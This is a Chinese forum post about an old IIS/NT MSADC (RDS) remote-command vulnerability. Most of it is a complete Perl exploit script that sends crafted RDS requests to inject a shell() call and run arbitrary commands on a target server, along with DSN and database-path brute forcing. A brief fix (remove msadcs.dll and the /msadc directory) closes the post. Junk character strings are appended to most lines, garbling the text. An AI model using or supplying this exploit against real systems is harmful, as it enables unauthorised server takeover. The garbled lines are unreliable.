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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _c6 zzGtH  
>)S'`e4Gu  
涉及程序: wfc+E9E  
Microsoft NT server ru1FJ{n  
}J\KnaKo  
描述: 8:t1%O$  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 %'<m[wf^ o  
kNTxYJ  
详细: "Yf?33UNZ  
如果你没有时间读详细内容的话,就删除: Qv:J#uVw?O  
c:\Program Files\Common Files\System\Msadc\msadcs.dll |Xa|%f  
有关的安全问题就没有了。 K6z-brvw "  
b. oA}XP  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 9 A1w5|X  
Se&%Dr3Nv  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 AC/82$  
关于利用ODBC远程漏洞的描述,请参看: )ia$pe s  
d#wK  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Vr%!rQ  
cy4V*zwp  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 { w:9w  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp _K|513I  
y5 bELWA  
这里不再论述。 E| =~rIKN  
[P"R+$"   
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Vch!&8xii  
h;sdm/  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 7q,M2v;  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ~`x<;Ts  
a]|k w4  
 <IL$8a  
#将下面这段保存为txt文件,然后: "perl -x 文件名" )9JuQ_ R  
B$cx '_zF  
#!perl sy.U] QG  
# wXxk+DV@  
# MSADC/RDS 'usage' (aka exploit) script ~",,&>#[K  
# )t$|'c}  
# by rain.forest.puppy .]W A/}  
# Uw5`zl  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ^YG.eT6iG  
# beta test and find errors! 1]j_4M14aA  
&`4v,l^Zi6  
use Socket; use Getopt::Std; a uz2n  
getopts("e:vd:h:XR", \%args); 1u0 NG)*f  
j(maj  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; u6(>?r-  
&MsBcP[  
if (!defined $args{h} && !defined $args{R}) { -KG3_kE  
print qq~  a7UfRG  
Usage: msadc.pl -h <host> { -d <delay> -X -v } )q+9_KU q  
-h <host> = host you want to scan (ip or domain) O<v9i4*  
-d <seconds> = delay between calls, default 1 second SRx `m,535  
-X = dump Index Server path table, if available 3xnu SOdh  
-v = verbose mf)o1O&B  
-e = external dictionary file for step 5 (j;6}@  
"|l-NUe  
Or a -R will resume a command session \aG:l.IM0  
4l*4w x""v  
~; exit;} H:HJHd"W  
L'Fy\K\  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; kf<5`8  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} * F T )`  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} bqDHLoB\1  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Hc{0O7  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} o-jF?9m  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ) Pdl[+a  
X%b.]A  
if (!defined $args{R}){ $ret = &has_msadc; q"[8u ]j  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} U3yIONlt  
/n SmGAO  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 8?r RLM4  
. "cmd /c "; *0`oFTJ  
$in=<STDIN>; chomp $in; ~y(- j[  
$command="cmd /c " . $in ; H]7;O M/g  
3yfq*\_uXw  
if (defined $args{R}) {&load; exit;} a jCx"J  
yS[Z%]bvU  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; c{u~=24;%#  
&try_btcustmr; E5<}7Pt  
VfiMR%i}  
print "\nStep 2: Trying to make our own DSN..."; NN9` jP2  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; e/;chMCq  
^3L6mOoA  
print "\nStep 3: Trying known DSNs..."; ^^I3%6UY  
&known_dsn; @*gm\sU4  
 TVP.)%  
print "\nStep 4: Trying known .mdbs..."; 6Q. _zk  
&known_mdb; # N.(ZP  
iPxhDn<B  
if (defined $args{e}){ $(6 .K-D  
print "\nStep 5: Trying dictionary of DSN names..."; LA.xLU3  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 6%B5hv24v  
Ppzd.=E  
print "Sorry Charley...maybe next time?\n"; +89s+4Jn  
exit; Uaho.(_GP  
='0f#>0Q  
############################################################################## #D$vH  
jyt#C7mj-A  
sub sendraw { # ripped and modded from whisker )k8=< =s  
sleep($delay); # it's a DoS on the server! At least on mine... lnFOD+y9  
my ($pstr)=@_; *kXSl73 k  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || A qKl}8  
die("Socket problems\n"); q1Si*?2W  
if(connect(S,pack "SnA4x8",2,80,$target)){ 'V5^D<1P  
select(S); $|=1; MhNDf[W>  
print $pstr; my @in=<S>; =;/4j'1}9  
select(STDOUT); close(S); bV#U&)|  
return @in; "3*Chc  
} else { die("Can't connect...\n"); }} \1[I(u  
Xp=Y<`dX  
############################################################################## :A,V<Es}I"  
64^dy V,;  
sub make_header { # make the HTTP request J2`b:%[  
my $msadc=<<EOT D@i,dPz5Zl  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 QM1-w^  
User-Agent: ACTIVEDATA |yi3y `f  
Host: $ip Ok+zUA[Wu  
Content-Length: $clen 9K@>{69WQ  
Connection: Keep-Alive FBM 73D@`  
U/2g N H  
ADCClientVersion:01.06 Ey77]\  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 x7X"'1U  
0(|BQ'4~H  
--!ADM!ROX!YOUR!WORLD! Oph4&Ip[w  
Content-Type: application/x-varg 6EhRCl  
Content-Length: $reqlen nBd!296  
u, %mVd  
EOT %($qg-x  
; $msadc=~s/\n/\r\n/g; . F0V  
return $msadc;} _XtLO- D  
n<p`OKIV3  
############################################################################## :>$)Snqo=n  
kSH3)CC P  
sub make_req { # make the RDS request b'^OW  
my ($switch, $p1, $p2)=@_; ${#5$U+kI  
my $req=""; my $t1, $t2, $query, $dsn; I72UkmK`  
}ZEh^zdz8  
if ($switch==1){ # this is the btcustmr.mdb query zi23k=  
$query="Select * from Customers where City=" . make_shell(); M#JOX/  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 5r<%xanXW/  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} "-y\F}TE  
Sq&*K9:z  
elsif ($switch==2){ # this is general make table query N 5rY*S  
$query="create table AZZ (B int, C varchar(10))"; cWl)ZE<hM  
$dsn="$p1";} JEX{jf  
JbG\Ywi0]  
elsif ($switch==3){ # this is general exploit table query GdavCwJ  
$query="select * from AZZ where C=" . make_shell(); jK#y7E  
$dsn="$p1";} . *>LD  
$jb0/  
elsif ($switch==4){ # attempt to hork file info from index server N:!XtYA<  
$query="select path from scope()"; Hw5\~!FX  
$dsn="Provider=MSIDXS;";} 0}qij  
PKR0y%Ar  
elsif ($switch==5){ # bad query "_ b Sy  
$query="select"; v#.FK:u}  
$dsn="$p1";} *$x/(!UE  
BbZ-dXC<  
$t1= make_unicode($query); D>,]EE-  
$t2= make_unicode($dsn); H*3f8A&@s  
$req = "\x02\x00\x03\x00"; ,~FyC_%*  
$req.= "\x08\x00" . pack ("S1", length($t1)); 5+GW% U/  
$req.= "\x00\x00" . $t1 ; V-CPq  
$req.= "\x08\x00" . pack ("S1", length($t2)); !W/Og 5n  
$req.= "\x00\x00" . $t2 ; -[s*R%w  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 0k>NuIIP  
return $req;} :tM|$TZ  
Z!C\n[R/  
############################################################################## Z~8Xp  
_> .TB\  
sub make_shell { # this makes the shell() statement |v8>22y  
return "'|shell(\"$command\")|'";} 9u1)Kr=e  
]DdD FLM  
############################################################################## 4x=rew>Ew  
@QtJ/("&WC  
sub make_unicode { # quick little function to convert to unicode /a6\G.C5  
my ($in)=@_; my $out; A6}M F  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } *Xt#04_  
return $out;} !h7`W*::  
Ly\$?3 h  
############################################################################## P"_x/C(]@J  
&by,uVb=|{  
sub rdo_success { # checks for RDO return success (this is kludge) 71cc6T  
my (@in) = @_; my $base=content_start(@in); ?]f+)tCMs  
if($in[$base]=~/multipart\/mixed/){ _%!C;`3Y  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} F8Y D:   
return 0;} q|om^:n.  
~R/7J{Sg  
############################################################################## <"/Y`/  
E8=.TM]L  
sub make_dsn { # this makes a DSN for us |!dyk<}oIu  
my @drives=("c","d","e","f"); m~r^@D  
print "\nMaking DSN: "; a@zKi;  
foreach $drive (@drives) {  2 Ua_7  
print "$drive: "; \P!v9LX(  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . LLg ']9  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" TclZdk]%T  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); b]~X U  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 5?k_Q"~  
return 0 if $2 eq "404"; # not found/doesn't exist ~*Ve>4  
if($2 eq "200") { HGB96,o f9  
foreach $line (@results) { |]DZc/  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} M9]O!{ sq  
} return 0;} g GN[AqR  
IoJkM-^H&)  
############################################################################## ~.AUy%$_g+  
1[J&^@t[h6  
sub verify_exists { -hL8z$}  
my ($page)=@_; {LJwW*?  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 9+9}^B5@A  
return $results[0];} '/b,3:  
$WnK  
############################################################################## #@Zz Bf  
B[C2uVEX:  
sub try_btcustmr { G?e,Q$  
my @drives=("c","d","e","f"); q+dY&4&u  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 6,uW{l8L  
s[h'W~  
foreach $dir (@dirs) { }@4m@_gR?  
print "$dir -> "; # fun status so you can see progress }0?642 =-  
foreach $drive (@drives) { j)C%zzBu(  
print "$drive: "; # ditto <|Bh;;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; O9A.WSJ >}  
$reqlenlen=length( "$reqlen" ); }{:H0)H*  
$clen= 206 + $reqlenlen + $reqlen; f&H):.  
X~5TA)h;~  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); iYHD:cg)~  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} =bZ>>-<  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} fV Ah</aZ  
e<l Wel  
############################################################################## tn6\0_5n  
X82sw>Y  
sub odbc_error { "X>Z!>  
my (@in)=@_; my $base; 0+;.T1?  
my $base = content_start(@in); /81Ux@,(e  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this /Y:_qsO1  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; B y6:  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; B~lrd#qC  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _,NL;66=[  
return $in[$base+4].$in[$base+5].$in[$base+6];} W*u Yb|0  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9X@y*;w<t  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . zbx,qctYo$  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Yj/S(4(h?  
mDvZ 1aj  
############################################################################## KZ`d3ad  
QT9(s\u  
sub verbose { WHvN6  
my ($in)=@_; ]$4k+)6  
return if !$verbose; \UGs_5OT  
print STDOUT "\n$in\n";} aIRCz=N  
+~  :1H.  
############################################################################## b,~4O~z  
ToCB*GlL  
sub save { wP6~HiC  
my ($p1, $p2, $p3, $p4)=@_; $oH?oD1  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; bh6Mh< +  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; NV9D;g$Y  
close OUT;} b@Ik c<  
-mO[;lO  
############################################################################## iwJBhu0@#  
\QBODJ1  
sub load { 6BFtY+.y  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Mm :6+  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); .O3i"X]  
@p=<IN>; close(IN); pYI`5B4  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); g>_6O[;t%  
$target= inet_aton($ip) || die("inet_aton problems"); (pH13qU5  
print "Resuming to $ip ..."; >72j,0=e  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; `w@fxv   
if($p[1]==1) { )mB+#T<k-  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; PX(.bP2^Lq  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; }v;@1[.B  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); c*1t<OAS~  
if (rdo_success(@results)){print "Success!\n";} 68*h#&  
else { print "failed\n"; verbose(odbc_error(@results));}} -G(z!ed  
elsif ($p[1]==3){ +su>0'a  
if(run_query("$p[3]")){ <3LyNG.  
print "Success!\n";} else { print "failed\n"; }} KU"? ZI  
elsif ($p[1]==4){ y!1%Kqx1,n  
if(run_query($drvst . "$p[3]")){ s)_7*DY  
print "Success!\n"; } else { print "failed\n"; }} ]V<[W,*(5  
exit;} :w#Zs)N  
Ii,e=RG>  
############################################################################## {|^9y]VFu  
Um4 }`  
sub create_table { I6M 7xn  
my ($in)=@_; GW ?.b_6*  
$reqlen=length( make_req(2,$in,"") ) - 28; :tedtV ~  
$reqlenlen=length( "$reqlen" ); 3K@dW"3  
$clen= 206 + $reqlenlen + $reqlen; FdKp@&O+1  
my @results=sendraw(make_header() . make_req(2,$in,"")); TCX*$ac"  
return 1 if rdo_success(@results); {K09U^JU  
my $temp= odbc_error(@results); verbose($temp); S3MMyS8  
return 1 if $temp=~/Table 'AZZ' already exists/;  KY!  
return 0;} ]V6<h Psi  
Ib*l{cxN  
############################################################################## s!9.o_k  
5MQD:K2  
sub known_dsn { !\}Dxt  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go U!XC-RA3 _  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", SWz+.W{KQ"  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", e/r41  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); UkG|5P`  
bVQLj}%   
foreach $dSn (@dsns) { q+19EJ(  
print "."; [~W"$sT  
next if (!is_access("DSN=$dSn")); Zuo7MR  
if(create_table("DSN=$dSn")){ {<\nl#}5S  
print "$dSn successful\n"; R^1sbmwk  
if(run_query("DSN=$dSn")){ y{uRh>l  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Z WL/AC  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 6ALf`:  
js^@tgf$x&  
############################################################################## G':mc{{  
^e"BY(  
sub is_access { IU{~{(p"  
my ($in)=@_; Tt `|26/  
$reqlen=length( make_req(5,$in,"") ) - 28; x4CrWm  
$reqlenlen=length( "$reqlen" ); sw[1T_S>  
$clen= 206 + $reqlenlen + $reqlen; L oe!@c  
my @results=sendraw(make_header() . make_req(5,$in,"")); |n \HxU3  
my $temp= odbc_error(@results); (8?t0}#t  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); H2BD5  
return 0;} 9b``l-rO  
qmdl:J|?  
############################################################################## }9/30  
"w*VyD  
sub run_query { z\pT nteO  
my ($in)=@_; NN\% X3ri"  
$reqlen=length( make_req(3,$in,"") ) - 28; lf4-Ci*X  
$reqlenlen=length( "$reqlen" ); k_r12Bu  
$clen= 206 + $reqlenlen + $reqlen; pD9*WKEf*  
my @results=sendraw(make_header() . make_req(3,$in,"")); yc8iT`  
return 1 if rdo_success(@results); SuB;Nb7r`  
my $temp= odbc_error(@results); verbose($temp); c_~)#F%P  
return 0;} |qH-^b.F  
T6=c9f?7  
############################################################################## SpdQ<]  
EFW'D=&h8  
sub known_mdb { <ap%+(!I  
my @drives=("c","d","e","f","g"); ^o,P>u!9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); y1p^ &9 U  
my $dir, $drive, $mdb; "diF$Lj  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; `J|bGf#  
 "9!ln  
# this is sparse, because I don't know of many WogJ~N,d53  
my @sysmdbs=( "\\catroot\\icatalog.mdb", M`-#6,m3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", X~*1  
"\\system32\\certmdb.mdb", u> XCE|D*  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%  \U(qv(T  
F-R4S^eV  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ZN~:^,PO/  
"\\cfusion\\cfapps\\forums\\forums_.mdb", D.kLx@Z  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", p[4KN(PyK  
"\\cfusion\\cfapps\\security\\realm_.mdb", 3 q^3znt  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %E}f7GT 4  
"\\cfusion\\database\\cfexamples.mdb", J(ZYoJ  
"\\cfusion\\database\\cfsnippets.mdb", ]OL O~2j  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", -M2c8P:.b  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", <.HX_z3l  
"\\cfusion\\brighttiger\\database\\cleam.mdb", m=jxTZK  
"\\cfusion\\database\\smpolicy.mdb", )[|TxXz d  
"\\cfusion\\database\cypress.mdb", kl4FVZof  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", @] uvpI!h  
"\\website\\cgi-win\\dbsample.mdb", gXZC%S  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", o9(:m   
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" '`p#%I@  
); #these are just x9bfH1  
foreach $drive (@drives) { St7ZyN1  
foreach $dir (@dirs){  qa)X\0  
foreach $mdb (@sysmdbs) { )cJ9YKKy  
print "."; *v 1hMk  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ u27K 0}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; O68/Hf1W  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,j>A[e&.  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; /oKa?iT  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |k1(|)%G  
#!wu}nDu  
foreach $drive (@drives) { qPDe;$J)  
foreach $mdb (@mdbs) { &}_ $@  
print "."; R*VRxQ,h6+  
if(create_table($drv . $drive . $dir . $mdb)){ J,Du:|3o  
print "\n" . $drive . $dir . $mdb . " successful\n"; vnwS &;-k~  
if(run_query($drv . $drive . $dir . $mdb)){ kG@~;*;l  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 9dn~nnd'n  
} else { print "Something's borked. Use verbose next time\n"; }}}} Jz(wXp  
} btoye \ rl  
{&nL'R  
############################################################################## uDvZ]Q|.  
~,3+]ts='\  
sub hork_idx { o *)>aw  
print "\nAttempting to dump Index Server tables...\n"; L}5nq@Uu)  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; .xo#rt9_"=  
$reqlen=length( make_req(4,"","") ) - 28; LfOXgn\  
$reqlenlen=length( "$reqlen" ); B*!{LjXV  
$clen= 206 + $reqlenlen + $reqlen; o9& 1Ct  
my @results=sendraw2(make_header() . make_req(4,"","")); hC2@Gq  
if (rdo_success(@results)){ ! eXDN  
my $max=@results; my $c; my %d; d#xi_L!  
for($c=19; $c<$max; $c++){ _Cn[|E  
$results[$c]=~s/\x00//g; zO)A_s.6K  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; n`gW&5,,z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; )F*;7]f  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 3]"RaI4Q0  
$d{"$1$2"}="";} V<:scLm#OF  
foreach $c (keys %d){ print "$c\n"; } wXI6KN-  
} else {print "Index server doesn't seem to be installed.\n"; }} $L%gQkz_  
t1"-3afe  
############################################################################## cc`+rD5I-  
+LFh}-X{_  
sub dsn_dict { }GI8p* ]o=  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); -7{qTe {  
while(<IN>){ 9>?3FMKdY  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; )RV.N}NU  
next if (!is_access("DSN=$dSn")); <*k]Aa3y  
if(create_table("DSN=$dSn")){ uU_lC5A|  
print "$dSn successful\n"; ;%wQnhg  
if(run_query("DSN=$dSn")){ *%'nlAX6%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { KYBoGCS>  
print "Something's borked. Use verbose next time\n";}}} FbO\#p s  
print "\n"; close(IN);} h[H FZv~{  
/`$9H|  
############################################################################## q$IgkL  
Jd#g"a>zZ  
sub sendraw2 { # ripped and modded from whisker zv/owK  
sleep($delay); # it's a DoS on the server! At least on mine... Y,0D+sO4  
my ($pstr)=@_; >F7v'-*{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || vU|=" #  
die("Socket problems\n"); |hGi8  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4 :m/w!q$  
print "Connected. Getting data"; d0ZbusHHb  
open(OUT,">raw.out"); my @in; QE8;Jk-  
select(S); $|=1; print $pstr; kq +`.  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2smQD8t  
close(OUT); select(STDOUT); close(S); return @in; 6[wAX  
} else { die("Can't connect...\n"); }} /DLgE7iU%  
R;D|To!  
############################################################################## F&pJ faig  
&IYSoA"Nz  
sub content_start { # this will take in the server headers f-]5ZhM'  
my (@in)=@_; my $c; ~d5f]6#`  
for ($c=1;$c<500;$c++) { q8 jI y@  
if($in[$c] =~/^\x0d\x0a/){ Ig b@aGA  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } hHXTSk2  
else { return $c+1; }}} '1rHvz`B/"  
return -1;} # it should never get here actually 1:{BC2P  
=6Z$nc R  
############################################################################## #>)OLKP  
?mM6[\DFoT  
sub funky { lHl1Ny\?  
my (@in)=@_; my $error=odbc_error(@in); J+IkTqw  
if($error=~/ADO could not find the specified provider/){ @ootKY`  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ]&;M 78^6  
exit;} \M(#FS  
if($error=~/A Handler is required/){ M$L ; -T  
print "\nServer has custom handler filters (they most likely are patched)\n"; F,F1Axf  
exit;} U`*L`PM  
if($error=~/specified Handler has denied Access/){ .MUoNk!  
print "\nServer has custom handler filters (they most likely are patched)\n"; ..u2IdEu  
exit;}} gFBMARxi  
7Qoy~=E  
##############################################################################  a@mMa {  
%v)m&VUi%  
sub has_msadc { Fke_ms=I^  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); r*Iu6  
my $base=content_start(@results); @x u/&pbI  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); *21foBfqh  
return 0;} b&iJui"7k  
\9FWH}|  
######################## `-,yJ  
O C qI  
-XcX1_  
解决方案: bi =IIVlH  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ??MF8 uv  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 IJnh@?BC  
W'0(0;+G/j  
拿出来充数 哈哈
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